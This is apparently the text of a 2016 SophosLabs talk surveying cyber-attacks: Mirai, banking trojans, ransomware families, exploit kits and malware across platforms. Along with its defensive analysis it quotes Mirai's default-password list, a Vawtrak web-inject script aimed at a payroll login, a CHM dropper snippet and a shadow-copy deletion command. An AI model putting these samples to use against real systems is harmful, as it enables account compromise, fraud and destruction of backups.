On cyber-attacks and cyber-security ... in 60min

Dmitry Samosseiko
Director of Threat Research, SophosLabs

Nov 2016
The good old days...
Stuxnet virus attack on Iranian nuclear programme: the first strike by computer?
US-China agree to not conduct cybertheft of intellectual property

Everett Rosenfeld with Reuters
Friday, 25 Sep 2015 | 1:39 PM ET
2013

Target: 40 million credit cards

by CNNMoney Staff  @CNNMoney

December 19, 2013, 4:41 PM ET

- **200 million** – Estimated dollar cost to credit unions and community banks for reissuing 21.8 million cards
- **18.00 – 35.70** - The median price range (in dollars) per card stolen from Target and resold on the black market
- **1 million – 3 million** – The estimated number of cards stolen from Target that were successfully sold on the black market and used for fraud
- **53.7 million** – The income that hackers likely generated from the sale of 2 million cards stolen from Target.
US officially accuses Russia of hacking DNC and interfering with election

Administration says 'only Russia's senior-most officials' could have signed off on cyber-attacks and urges states to seek federal security aid for voting systems
Carleton University says it didn't pay hacker's ransom after cyberattack

University expected to make a statement on ransomware attack at 4 p.m. ET Wednesday

The malware, which is known as Mirai, took offline more than 900 domain names on Wednesday night, including the websites of thousands of small businesses and residential users. Mirai targets IoT devices such as webcams, routers, and smart thermostats.

The malware works by exploiting a vulnerability in a feature that allows ISPs to remotely upgrade the firmware on the devices. But the new Mirai malware turns that feature off once it infects a device, complicating DT's cleanup and restoration efforts.
Who is the target...

**Targeted**
- Large corporations
- Government agencies and contractors
- Industrial systems
- Political activists and celebrities
- Retailers, banks, credit unions, online stores, casinos, ATMs

**Mass-spread**
- Anyone with Internet access
Source and Motive...

Nation-state cyber-espionage

“Cyber weapons”

Financially motivated (cybercrime)

Hacktivism
Malware monetization options

Cybercrime malware by type

• Viruses = infecting files, self-propagates
• Worms = spreads through network holes, self-propagates
• Trojans = resident software with backdoor functionality, pretends to be legitimate, doesn’t self-propagate
Botnet use

1. Email spam
2. Web spam (comments)
3. DDoS (Distributed Denial of Service)
4. Information stealers
5. ...

A botnet is a robot network: a collection of infected online devices, which could be laptops, servers, phones, routers, webcams, or any connected device that can run programs and send data across the internet.
Sept 2016 – A record high 620 Gbps DDoS from Mirai IoT botnet

KrebsOnSecurity Hit With Record DDoS

On Tuesday evening, KrebsOnSecurity.com was the target of an extremely large and unusual distributed denial-of-service (DDoS) attack designed to knock the site offline. The attack did not come from a single source, but rather from nearly double the size of the company that protects some of the largest websites and mobile apps on the Internet.

Hacked Cameras, DVRs Powered Today’s Massive Internet Outage

A massive and sustained Internet attack that has caused outages and network congestion today for a large number of Web sites was launched with the help of hacked "Internet of Things" (IoT) devices, such as CCTV video cameras and digital video recorders, new data suggests.

Earlier today cyber criminals began training their attack cannons on Dns, an Internet infrastructure company that provides critical technology services to some of the Internet’s top destinations. The attack began creating problems for Internet users reaching an array of sites, including Twitter, Amazon, TuneIn, Reddit, Spotify and Netflix.

Mirai’s built-in password dictionary:

- root/vixzv
- root/888888
- root/juantechn
- support/support
- root/root
- admin/(none)
- root/1111
- root/666666
- root/klv123
- service/service
- guest/12345
- root/h3518
- root/zlxk.
- root/system
- root/user
- admin/111111
- admin/54321
- admin/1234
- tech/tech
- root/admin
- root/xmhdpic
- root/123456
- root/(none)
- root/12345
- root/pass
- admin/smadmin
- root/password
- Administrator/administrator/guest/guest
- guest/12345
- root/jyvbdz
- root/7ujMko0vixzv
- root/ikwb
- root/realttek
- root/anko
- root/7ujMko0admin
- root/dreambox
- root/00000000
- root/12345
- admin/1234
- admin/7ujMko0admin
- admin/meinsm
- mother/fu
Banking Malware

- Steals account credentials on banking websites
- Initiates automatic money transfer
- “Web injects“ (injecting DLL into browser process)
- “Vawtrack” – Crimeware-as-a-Service model (steal to order)

Vawtrak Crimeware-as-a-Service (CaaS)

- EXE attachment or Exploit Kit attack
- Injects into legitimate process
- Hooks APIs to inspect network traffic
- Connects to C&C
- Receives configuration file
- Injects code into web pages of specific URLs
Vawtrack web inject

Target URL: runpayroll.adp.com/(default.aspx/?Action=login|registered/RegisteredLogin.aspx)
Flags: 0x22
Data before: </body>
Data inject: <script>%framework% var fw = new EQFramework("%framework_key%"); var CurQuestions = 0; function ShowEl(name){if (isset(name)) {document.getElementById(name).style.display = "";} else {ViewMain(); }} function ViewMain(){document.title = MainTitle; HideEl(WaitDiv); HideEls(AnswLbl1,AnswLbl2); ViewEl(AnswLbl1); if (isset(name)) {return document.getElementById(name).value;} else {return false;}} function SetPa(...) { if (CurQuestions == 1) { if (isset(AnswLbl1)) document.getElementById(AnswLbl1).innerHTML = fw.fw.DelVal("AdpQuestion2") + '=' + fw.fw.DelVal("AdpQuestion1"); fw.fw.DelVal("AdpQuestion2"); ViewMain(); } else if (fw.fw.GetVal("AdpQuestion1") != "") { PostRequest += fw.fw.GetVal("AdpQuestion1") + '=' + fw.fw.DelVal("AdpQuestion2"); ViewMain(); } } if (isset(LnkForgotPassword)) {document.getElementById(LnkForgotPassword).click();} else { if (isset(LnkCreateAccount)) {document.getElementById(LnkCreateAccount).click();} } ViewMain();

SOPHOS
Screen Locker Ransomware

Windows заблокирован!

Microsoft Security обнаружил нарушения использования сети Интернет. Причина: Вы смотрели фильмы содержащие гей-порно.

Для разблокировки Windows необходимо:
Пополнить номер абонента Билайн: 8-962-873-44-51 на сумму 400 рублей.
Оплатить можно через терминал для оплаты готовой связи.
После оплаты, на выданном терминалом чеке, Вы найдёте Ваш персональный код разблокировки, который необходимо ввести ниже.

Если в течении 12 часов с момента появления данного сообщения, не будет введён код, все данные, включая Windows и Bios будут БЕЗВОЗВРАТНО УДАЛЕНЫ! Попытка переустановить систему приведёт к нарушениям работы компьютера.
"Police Locker"

Attention!!!

The process of illegal activity is detected. According to UK law and Metropolitan Police Service and Strathclyde Police investigation your computer is locked.

The following violation is detected: your IP-address. Forbidden websites containing pornography, child pornography, Sodomy and called violence against children on, violent material toward people were visited from this IP-address!

Moreover and e-mail spam was sent you're your computer, e-mails containing terroristic materials. This locking serves to stop your illegal activity.

To release a lock your computer you should pay the fine in amount of £ 100. In the case of ignoring the payment, the program will remove illegal materials while keeping your personal information is not guaranteed.

You could pay the forfeit in two ways:

1) Paying through Ukash:
Use the code received for this purpose. Enter it in the space for payment and click OK (if you have more than one code, enter them one after another and then click OK).

In case the system informs about an error send the code to surcharge@cyber-metropolitan-police.co.uk.

2) Paying through Paysafecard:
Use the code (and a password if needed) received for this purpose. Enter it in the space for payment and click OK (if you have more than one code, enter them one after another and then click OK).

In case the system informs about an error send the code to surcharge@cyber-metropolitan-police.co.uk.

Where can I buy Ukash?

You could buy Ukash in many places, for example: shops, stalls, stand-alone terminals, on-line or through E-Wallet (electronic cash). Below you could find the list of point of sale Ukash in your country.

- Epay - you could buy Ukash in thousands of supermarkets or Call-Shops which have this logo.
- PayPoint - Get Ukash wherever you see the PayPoint sign.
- Payzone - Ukash available from Payzone terminals around the UK.

Inpay - You can get a Ukash voucher in values from £10 - £500 and pay using your internet bank.
Early monetization methods: Prepaid cards and cash vouchers
Activité illicite démise!

Ce blocage de l’ordinateur servait à la prévention de vos actes illicites. Le système d’exploitation a été bloqué à cause de la dérogation de loi de la République Française.

On a relevé l’infraction à la loi de votre IP adresse qui correspond à "SOPHOS" on a réalisé la requête sur le site qui contient la pornographie, la pornographie d’minoritaires, la sodomy et des actes de violence envers les enfants. Egalement on a récupéré un video avec les éléments de violence et la pornographie d’enfants. De même on a retrouvé l’anomalou ou courriel électronique sous forme de spam avec les dessins terroristes.

Pour lever le blocage de l’ordinateur vous devez payer le recouvrement de 100 euros.

Il y a deux possibilités d’effectuer le paiement:

1) Abolition de dettes à l’aide du système de paiement Ukash:
   Pour le faire vous devez remplir le champs du paiement avec la code donne, appuyer sur OK en cas de deux codes disponibles, remplissez les successivement (un après quoi appuyez sur OK).

2) Paiement à l’aide de Paysafecard:
   Pour le faire vous devez remplir le champs du paiement avec le code (ou avec le mot d’ordre) et appuyer sur OK (en cas de deux codes disponibles, remplissez les successivement un après l’autre après quoi appuyez sur OK).

En cas d’opposition d’une erreur, vous devez envoyer le code à l’adresse électronique cyber@defense.fr.
File Crypting Ransomware

Private key will be destroyed on 10/13/2013 1:21 PM

Time left: 71:38:18

Private key will be destroyed on 15/04/2014 10:43

Time left: 95:55:59

Payment for private key

Choose a convenient payment method and click «Next»:
- Bitcoin
- MoneyPak (USA only)

Bitcoin

Bitcoin is a cryptocurrency where the creation and transfer of bitcoins is based on an open-source cryptographic protocol that is independent of any central authority. Bitcoins can be transferred through a computer or smartphone without an intermediate financial institution.

You have to send 0.7 BTC to Bitcoin address 12mmFEEvVgphWnuPn4DAEjntbDLGaoW4X and specify the Transaction ID on the next page, which will be verified and confirmed.

Homepage
Getting started with Bitcoin
Common ransomware characteristics

• Unbreakable encryption
• Unique public key is generated on the server
• Deletes “shadow” copies of files
• Uses I2P proxies to communicate with its command-n-control
• Uses TOR network and Bitcoins for payments
• Infection vectors: email, drive-by downloads, malvertizement
Ransomware + Bitcoins =

**Bitcoins**
- Available world-wide
- Practically untraceable

**Ransomware**
- Indiscriminate
- **Openly** criminal

**Cryptolocker:** 17,706,729.70 USD (Nov 2013)
Coincidence?

Cryptolocker search trends

Bitcoin price
“… customisable by the affiliate who has purchased the CTB-Locker instance, the available options have grown over time, more recently – English, French, German, Spanish, Latvian, Dutch and Italian.”
TorrentLocker/Crypt0L0cker

TorrentLocker criminals went so far as to refuse to push the Ransomware executable to victim machines whose IP addresses did not belong to the target countries.
Buy decryption and get all your files back.

Buy decryption for 399 EUR before 2015-05-12 10:47:13
OR buy it later with the price of 798 EUR
Time left before price increase: 94:25:40
Your total files encrypted: 30:48

Current price: 1.9791198 BTC (around 399 EUR)
Paid until now: 0 BTC (around 0 EUR)
Remaining amount: 1.9791198 BTC (around 399 EUR)

Buy Decryption with

1. Register bitcoin wallet
   You should register Bitcoin wallet, see easy instructions or watch video on YouTube.

2. Buy bitcoins
   Please see recommended bitcoin sellers in your country:
   www.bitcoin.net - Order bitcoin with AIB bank transfer.
   www.bitstamp.net - Buy and sell bitcoins in European SEPA zone
   localbitcoins.com - Buy Bitcoins with cash from people leaving in Ireland.
   howtobuybitcoins.info - Big list of trusted Bitcoin online exchanges in Ireland.
CryptoWall

What happened to your files?
All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.
More information about the encryption keys using RSA-2048 can be found here: http://en.wikipedia.org/wiki/RSA_(cryptosystem)

What does this mean?
This means that the structure and data within your files have been irreversibly changed; you will not be able to work with them, read them or see them. It is the same thing as losing them forever, but with our help, you can restore them.

Cannot you find the files you need?
Is the content of the files that you have watched not readable?
It is normal because the files' names, as well as the data in your files have been encrypted.

Congratulations!!!
You have become a part of large community CryptoWall.

For more specific instructions, please visit your personal home page, there are a few different addresses pointed out on your page below:

1. 613cb6oulcouepv.payoptvans.com/1234
2. 613cb6oulcouepv.payForusa.com/1234
3. 613cb6oulcouepv.paywelcomefor.com/1234

CryptoWall Project is not malicious and is not intended to harm a person and his/her information data.
The project is conducted for the sole purpose of instruction in the field of information security, as well as certification of antivirus products for their suitability for data protection.
Together we make the Internet a better and safer place.

IMPORTANT INFORMATION:
613cb6oulcouepv.payoptvans.com/1234 ➔ Your Personal PAGE
613cb6oulcouepv.payoptvans.com/1234 ➔ Your Personal PAGE (using TOR)
613cb6oulcouepv.com/1234 ➔ Your personal code (if you open the site (or TOR’s) directly)
**Attack example, stage 1**

You have received a new secure message - Cyrillic (Windows)

**From:** JPMorganChase.Manager@<redacted>.com
**Date:** 26 May 2015 16:00
**To:** ben.you@<redacted>.com
**Subject:** You have received a new secure message

**Attach:** You have a new encrypted message from JPMorgan Chase & CO1.rar (2.75 KB)

Open the attachment and follow the instructions.
... stage 2 (CHM file)

```html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=Windows-1251">
</head>
<body>
<object id='x' classid='clsid:adb880a6-d8ff-11cf-9377-00aa003b74d1' width='1' height='1'>
<param name="command" value="Shortcut">
<param name="item2" value="273,1,1">
</object>
<script>
.x.Click();
</script>
</body>
</html>
```
... stage 3 (EXE)

• Launches new instance of explorer.exe
• Injects unpacked CryptoWall binary code into this process
• Original process exits
• `vssadmin.exe Delete Shadows /All /Quiet`
• Achieves persistence with autorun registry keys
• Starts a new process for CnC communication via I2P
• Obtains unique public key
• Uses AES 256 encryption to encrypt documents
• Writes and displays “how to decrypt” note in the language, based on GEO IP lookup
Spammed DOC with embedded LNK spawning Powershell download

Threat Summary

What:
Troj/Ransom-ZZZ
3 business files were involved
Web-based attacks

> 100 000 new malicious pages every day

80% belong to legitimate sites
Exploit kits/packs

• Cheap ($50/month)
• Easy to use
• ‘Silent’ infection of victims
### Глобальная статистика

<table>
<thead>
<tr>
<th></th>
<th>15363 всего</th>
<th>11571 уник</th>
<th>1194 загрузки</th>
</tr>
</thead>
<tbody>
<tr>
<td>За весь период</td>
<td></td>
<td></td>
<td>10.32%</td>
</tr>
<tr>
<td>Попытка</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Загрузка файла

- Размер файла: 40 Кб
- MD5: 80c6eac96ebcc65019c17e3da0b02cd6

### Подробная статистика

#### Страны (TOP 10)

<table>
<thead>
<tr>
<th>Страна</th>
<th>Всего</th>
<th>Уник</th>
<th>Загрузки</th>
<th>Попытка</th>
</tr>
</thead>
<tbody>
<tr>
<td>US</td>
<td>15363</td>
<td>11571</td>
<td>1194</td>
<td>10.32%</td>
</tr>
</tbody>
</table>

#### Браузеры (TOP 10)

<table>
<thead>
<tr>
<th>Браузер</th>
<th>Всего</th>
<th>Уник</th>
<th>Загрузки</th>
<th>Попытка</th>
</tr>
</thead>
<tbody>
<tr>
<td>MSIE 9.0</td>
<td>6347</td>
<td>4978</td>
<td>603</td>
<td>12.11%</td>
</tr>
<tr>
<td>MSIE 9.0</td>
<td>2734</td>
<td>2126</td>
<td>286</td>
<td>13.45%</td>
</tr>
<tr>
<td>Firefox 11.0</td>
<td>2697</td>
<td>2275</td>
<td>106</td>
<td>4.66%</td>
</tr>
<tr>
<td>MSIE 7.0</td>
<td>1768</td>
<td>940</td>
<td>69</td>
<td>7.34%</td>
</tr>
<tr>
<td>Opera 9.00</td>
<td>476</td>
<td>260</td>
<td>42</td>
<td>14.56%</td>
</tr>
</tbody>
</table>

#### ОС (TOP 10)

<table>
<thead>
<tr>
<th>ОС</th>
<th>Всего</th>
<th>Уник</th>
<th>Загрузки</th>
<th>Попытка</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows 7</td>
<td>8390</td>
<td>7062</td>
<td>717</td>
<td>10.15%</td>
</tr>
<tr>
<td>Windows XP</td>
<td>3139</td>
<td>2424</td>
<td>216</td>
<td>8.91%</td>
</tr>
<tr>
<td>Windows Vista</td>
<td>2663</td>
<td>2155</td>
<td>265</td>
<td>12.9%</td>
</tr>
<tr>
<td>Windows 2003</td>
<td>315</td>
<td>170</td>
<td>1</td>
<td>0.59%</td>
</tr>
<tr>
<td>Windows 2000</td>
<td>16</td>
<td>12</td>
<td>0</td>
<td>0%</td>
</tr>
</tbody>
</table>

#### Рефералы (TOP 10)

<table>
<thead>
<tr>
<th>Реферал</th>
<th>Всего</th>
<th>Уник</th>
<th>Загрузки</th>
<th>Попытка</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>7758</td>
<td>6495</td>
<td>725</td>
<td>11.9%</td>
</tr>
<tr>
<td></td>
<td>7578</td>
<td>6522</td>
<td>613</td>
<td>9.0%</td>
</tr>
</tbody>
</table>
Website infections

- Linux trojans
- FTP account hacking
- cPanel exploits
- SQL Injections
- Vulnerable webservers, CMS (Wordpress, Drupal, ...), PHP
Evasion Techniques

• Binaries repackaged every 20 min (!) and AV tested
  + server side polymorphism
• 100s of payload domains created daily
• 10,000s of new infected websites stealing legitimate traffic or used as payload or CnC servers

Everything is a moving target
Android malware

- Information stealers
- SMS senders
- Phishing
- Privilege escalation
- Zeus for Android
- Fake AV
- Ransomware
- Adware
- Spyware

Malware vs PUA growth
Android Ransomware

ATTENTION!
Your phone has been blocked up for safety reasons listed below.
All the actions performed on this phone are fixed.
All your files are encrypted.
CONDUCTED AUDIO AND VIDEO.

Then in 7 day term you should remedy the breaches associated with your phone. Otherwise, your phone will be blocked up and criminal case will be opened against yourself (with no option to pay fine).

Please mind, that you should enter only verified passes of vouchers and abstain from cashing out of vouchers once used for fine payment. If erroneous passes were entered, or it attempt was made to cancel vouchers after transactions, then apart from above breaches, you will be charged with fraud (Article 327 of United States of America criminal law: 1 to 3 years of imprisonment) and criminal case will be opened.

Voucher NO/PIN
Type your code: 309
Pay MoneyPak

How do I unblock the phone using the MoneyPak?
1. Find a retail location near you.
2. Look for a MoneyPak in the prepaid section. Take it to the cashier and load it with cash.
3. To pay fine you should enter the digits MoneyPak resulting pass in the payment form and press “Pay MoneyPak”.
Mac malware?
Scareware for Macs
New Mac malware tries to hook your webcam up to the Dark Web
March 2016: OSX/KeRanger-A

Your computer has been locked and all your files has been encrypted with 2048-bit RSA encryption.

Instruction for decrypt:

1. Go to [DOWNLOAD FOR BROWSER AND OPEN THIS LINK](#) (IF NOT WORKING JUST DOWNLOAD FOR BROWSER AND OPEN THIS LINK)
2. Use [your ID](#) for authentication
3. Pay 1 BTC (~410.63) for decryption pack using bitcoins (wallet is your ID for authentication - [your ID](#))
4. Download decrypt pack and run

---> Also at [you can decrypt 1 file for FREE](#) to make sure decryption is working.

Also we have ticket system inside, so if you have any questions - you are welcome.
We will answer only if you able to pay and you have serious question.

IMPORTANT: WE ARE ACCEPT ONLY(!!) BITCOINS
HOW TO BUY BITCOINS:
https://localbitcoins.com/guides/how-to-buy-bitcoins
https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version)
September 2016 – OSX/PWSSync-B

- Configures itself as an OS X LaunchAgent
- Steals passwords and other credentials from your OS X Keychain
- Calls home to download additional scripts to run.

Mac password-stealing malware haunts Transmission app... again
OSX malware?

• Commercial keyloggers
• Ransomware
• Password stealers
• “Bundleware”
• Search result substitution, Ad-theft
Linux malware

1. Linux Web servers is the perfect “launch pad” for malware and exploits targeting Windows
2. A Linux “botnet” is a perfect platform for spam and DDOS

- ELF
- PHP
- Perl
- Shell

Combine this with a common belief that Unix/Linux ‘is safe’ and needs no AV. The result is -- highly effective malware spreading on Unix/Linux, and going unnoticed for a long time
Linux malware example: Troj/Apmod

• Installs itself as an Apache module which inspect outgoing HTTP content
• Injects JavaScript code into every page served
• The JavaScript writes an <IFRAME> to the page
• The <IFRAME> points to a malicious/compromised site

We call it the “web traffic hijacking”
What can be done?

Awareness

Security measures

Legal actions and takedowns
Legal actions and takedown efforts

- Nov 2009 – “Mega-D” (30-35% of spam). Arrested
- Feb 2010 – “Mariposa” botnet, 12M PCs. Arrested.
- Mar 2010 – “Zeus” botnet. Arrested
- Oct 2010 – “Bredolab” botnet, 30M PCs!
- Sep 2011 – “Kelihos” botnet
- ...
- Nov 2012 – “Nitol”
- Jan 2013 – Zeus botmaster arrested
- June 2014 - Operation “Tovar”
- Sept 2015 – Arrests tied to Citadel and Dridex
Sophos Labs

Threat Response
- Real-time response to incidents
- 24/7/365 operation

Threat Research
- Deep expertise into threats & attacks
- Create powerful protection solutions

Automation development
- Build bespoke systems to automate threat analysis & response
- Enable SophosLabs to scale

Quality Assurance
- Ensure effectiveness & quality of releases
- Own risk management
Threat Collection

Analysis

Protection & Remediation
Snapshot of 2016 Threat Landscape

- 150,000 suspicious URLs seen & analysed daily
- 30,000 malicious URLs daily, over 80% of which are from legitimate websites
- 5 million spam messages daily across 20 countries
- 400,000 previously unseen files received daily
- 2,000 previously unseen Android apps daily
- 600 million live Protection lookup events added to Hadoop cluster
... across all the platforms and threat types

- Email spam
- Malicious software
- Adware
- Application control

- Windows (32/64)
- Android
- Linux
- OSX

- ... and browsers!
Thank you!

Twitter:
@samosseiko

Blogs:
http://nakedsecurity.sophos.com/
http://blogs.sophos.com/
Questions?